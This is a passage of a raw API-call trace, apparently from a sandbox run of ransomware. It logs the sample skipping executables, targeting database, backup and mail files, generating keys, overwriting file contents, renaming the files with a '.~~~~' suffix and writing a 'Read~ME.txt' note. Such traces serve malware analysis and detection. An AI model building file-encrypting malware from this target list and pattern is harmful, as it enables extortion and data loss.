	[0086.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.350] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.350] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.350] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.350] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.351] CloseHandle (hObject=0x128) returned 1
	[0086.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5e78
	[0086.351] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf.~~~~")) returned 1
	[0086.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5e78 | out: hHeap=0x300000) returned 1
	[0086.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.353] GetLastError () returned 0x0
	[0086.353] RtlWakeConditionVariable () returned 0x365f70
	[0086.354] GetCurrentThreadId () returned 0x9cc
	[0086.354] GetCurrentThreadId () returned 0x9cc
	[0086.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0086.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5d08 | out: hHeap=0x300000) returned 1
	[0086.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39df18 | out: hHeap=0x300000) returned 1
	[0086.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5d08
	[0086.354] lstrlenW (lpString=".scr") returned 4
	[0086.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0086.354] lstrlenW (lpString=".cmd") returned 4
	[0086.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0086.354] lstrlenW (lpString=".dll") returned 4
	[0086.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0086.354] lstrlenW (lpString=".bat") returned 4
	[0086.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0086.354] lstrlenW (lpString=".cpl") returned 4
	[0086.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0086.354] lstrlenW (lpString=".sys") returned 4
	[0086.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0086.354] lstrlenW (lpString=".msc") returned 4
	[0086.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0086.354] lstrlenW (lpString=".com") returned 4
	[0086.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0086.354] lstrlenW (lpString=".lnk") returned 4
	[0086.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0086.355] lstrlenW (lpString=".msp") returned 4
	[0086.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0086.355] lstrlenW (lpString=".pif") returned 4
	[0086.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0086.355] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0086.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0086.355] lstrlenW (lpString=".sqb") returned 4
	[0086.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0086.355] lstrlenW (lpString=".ost") returned 4
	[0086.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0086.356] lstrlenW (lpString=".txt") returned 4
	[0086.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0086.356] lstrlenW (lpString=".mdt") returned 4
	[0086.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0086.356] lstrlenW (lpString=".BDB") returned 4
	[0086.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0086.356] lstrlenW (lpString=".eql") returned 4
	[0086.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0086.356] lstrlenW (lpString=".DBF") returned 4
	[0086.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0086.356] lstrlenW (lpString=".EQL") returned 4
	[0086.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0086.356] lstrlenW (lpString=".FDB") returned 4
	[0086.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0086.356] lstrlenW (lpString=".EDB") returned 4
	[0086.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0086.356] lstrlenW (lpString=".DACPAC") returned 7
	[0086.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0086.356] lstrlenW (lpString=".VHD") returned 4
	[0086.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0086.356] lstrlenW (lpString=".DBV") returned 4
	[0086.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0086.356] lstrlenW (lpString=".dacpac") returned 7
	[0086.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0086.356] lstrlenW (lpString=".sdf") returned 4
	[0086.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0086.357] lstrlenW (lpString=".accdb") returned 6
	[0086.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0086.357] lstrlenW (lpString=".DBX") returned 4
	[0086.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0086.357] lstrlenW (lpString=".MDT") returned 4
	[0086.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0086.357] lstrlenW (lpString=".SQB") returned 4
	[0086.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0086.357] lstrlenW (lpString=".vhd") returned 4
	[0086.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0086.357] lstrlenW (lpString=".bac") returned 4
	[0086.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0086.357] lstrlenW (lpString=".mdf") returned 4
	[0086.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0086.357] lstrlenW (lpString=".BAK") returned 4
	[0086.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0086.357] lstrlenW (lpString=".BAC") returned 4
	[0086.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0086.357] lstrlenW (lpString=".dbs") returned 4
	[0086.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0086.357] lstrlenW (lpString=".vhdx") returned 5
	[0086.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0086.357] lstrlenW (lpString=".NDF") returned 4
	[0086.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0086.357] lstrlenW (lpString=".dat") returned 4
	[0086.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0086.357] lstrlenW (lpString=".DBS") returned 4
	[0086.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0086.358] lstrlenW (lpString=".CKP") returned 4
	[0086.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0086.358] lstrlenW (lpString=".edb") returned 4
	[0086.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0086.358] lstrlenW (lpString=".PST") returned 4
	[0086.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0086.358] lstrlenW (lpString=".dbf") returned 4
	[0086.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0086.358] lstrlenW (lpString=".SQL") returned 4
	[0086.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0086.358] lstrlenW (lpString=".pst") returned 4
	[0086.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0086.358] lstrlenW (lpString=".dbv") returned 4
	[0086.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0086.358] lstrlenW (lpString=".SDF") returned 4
	[0086.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0086.358] lstrlenW (lpString=".dtxs") returned 5
	[0086.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0086.358] lstrlenW (lpString=".db3") returned 4
	[0086.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0086.358] lstrlenW (lpString=".OST") returned 4
	[0086.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0086.358] lstrlenW (lpString=".dbx") returned 4
	[0086.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0086.359] lstrlenW (lpString=".DB3") returned 4
	[0086.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0086.359] lstrlenW (lpString=".DAT") returned 4
	[0086.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0086.359] lstrlenW (lpString=".VHDX") returned 5
	[0086.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0086.359] lstrlenW (lpString=".ndf") returned 4
	[0086.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0086.359] lstrlenW (lpString=".DB") returned 3
	[0086.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0086.359] lstrlenW (lpString=".sql") returned 4
	[0086.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0086.359] lstrlenW (lpString=".MYD") returned 4
	[0086.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0086.359] lstrlenW (lpString=".DBT") returned 4
	[0086.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0086.359] lstrlenW (lpString=".ACCDB") returned 6
	[0086.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0086.359] lstrlenW (lpString=".fdb") returned 4
	[0086.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0086.360] lstrlenW (lpString=".bak") returned 4
	[0086.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0086.360] lstrlenW (lpString=".myd") returned 4
	[0086.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0086.360] lstrlenW (lpString=".DTXS") returned 5
	[0086.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0086.360] lstrlenW (lpString=".ckp") returned 4
	[0086.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0086.360] lstrlenW (lpString=".dbt") returned 4
	[0086.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0086.360] lstrlenW (lpString=".db") returned 3
	[0086.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0086.360] lstrlenW (lpString=".TXT") returned 4
	[0086.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0086.360] lstrlenW (lpString=".MDF") returned 4
	[0086.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0086.360] lstrlenW (lpString=".bdb") returned 4
	[0086.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0086.360] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.360] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0086.362] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.362] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0086.362] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20635188466) returned 1
	[0086.362] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d47f210, dwHighDateTime=0x1d60e1e)) 
	[0086.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39df18
	[0086.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39df18 | out: hHeap=0x300000) returned 1
	[0086.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3baaf0
	[0086.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baaf0 | out: hHeap=0x300000) returned 1
	[0086.362] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0086.363] GetLastError () returned 0x0
	[0086.363] GetLastError () returned 0x0
	[0086.363] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0086.363] GetLastError () returned 0x0
	[0086.363] GetLastError () returned 0x0
	[0086.366] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff7d39, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.366] WriteFile (in: hFile=0x128, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x82c7, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x82c7, lpOverlapped=0x0) returned 1
	[0086.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.366] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.366] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.367] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.367] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.367] CloseHandle (hObject=0x128) returned 1
	[0086.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f58f0
	[0086.367] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.~~~~")) returned 1
	[0086.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f58f0 | out: hHeap=0x300000) returned 1
	[0086.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.368] GetLastError () returned 0x0
	[0086.368] RtlWakeConditionVariable () returned 0x365f70
	[0086.368] GetCurrentThreadId () returned 0x9cc
	[0086.368] GetCurrentThreadId () returned 0x9cc
	[0086.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0086.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5c50 | out: hHeap=0x300000) returned 1
	[0086.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dea8 | out: hHeap=0x300000) returned 1
	[0086.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5c50
	[0086.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
